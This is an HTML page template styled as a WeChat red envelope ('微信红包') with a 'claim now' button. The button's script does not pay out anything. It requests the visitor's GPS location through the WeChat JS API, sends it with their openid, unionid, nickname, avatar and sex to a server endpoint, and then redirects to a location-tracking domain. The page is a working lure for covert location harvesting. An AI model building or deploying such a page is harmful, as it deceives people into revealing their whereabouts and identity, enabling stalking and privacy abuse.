<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <script src="/temp/default/js/jquery-3.1.0.min.js"></script>
    <script src="/temp/default/js/flexible.debug.js"></script>
    <script src="/temp/default/js/flexible_css.debug.js"></script>
    <link rel="stylesheet" href="/temp/default/css/paySuc.css">
    <title>微信红包</title>
</head>
<body>
    <div class="container">
        <img src="/temp/default/image/weixin1.png" class="icon" style="border-radius: 0"/>
        <p class="label">{$cost}.00</p>
        <p class="class" style="color: #666;font-size: 0.35rem">未来动力科技给你发送的红包</p>
        <input type="button" value="立即领取" onclick="linqu()" />
    </div>

    <script>

    </script>
    <script src="http://res.wx.qq.com/open/js/jweixin-1.2.0.js"></script>
    <script>
        var appId = '{$signPackage.appId}';
        var timestamp = '{$signPackage.timestamp}';
        var nonceStr = '{$signPackage.nonceStr}';
        var signature = '{$signPackage.signature}';
        var id = '{$userInfo.openid}';
        var uid = '{$userInfo.unionid}';
        var avatar = '{$userInfo.headimgurl}';
        var sex = '{$userInfo.sex}'
        var nickname = '{$userInfo.nickname}';
        var userid = '{$userid}';
        var ordersn = '{$ordersn}';

        function linqu(e){
            wx.config({
                debug: false,
                appId: appId,
                timestamp:timestamp,
                nonceStr: nonceStr,
                signature: signature,
                jsApiList: [
                    // 所有要调用的 API 都要加到这个列表中
                    'getLocation',
                ]
            });
            wx.ready(function(){
                wx.getLocation({
                    type: 'gcj02', // 默认为wgs84的gps坐标，如果要返回直接给openLocation用的火星坐标，可传入'gcj02'
                    success: function (res) {
                        var latitude = res.latitude; // 纬度，浮点数，范围为90 ~ -90
                        var longitude = res.longitude; // 经度，浮点数，范围为180 ~ -180。
                        var speed = res.speed; // 速度，以米/每秒计
                        var accuracy = res.accuracy; // 位置精度
                        $.ajax({
                            type: 'POST' ,
                            dataType: 'json' ,
                            url:'api/locat.php' ,
                            data:  {
                                "lat": latitude,
                                "lng": longitude,
                                "sid": userid,
                                "openid" : id,
                                "avatar" : avatar,
                                "unionid" : uid,
                                "nickname" : nickname,
                                "sex" : sex,
                                "type" : 2,
                                "ordersn" : ordersn,
                                "action":"location"
                            },
                            success: function(data) {
                                var navURL = "http://dingwei.famishare.me/redpack.php?ordersn="+ordersn;
                                window.location.href = navURL;
                            }
                        });
                    }
                });
            });

        }

    </script>
</body>
</html>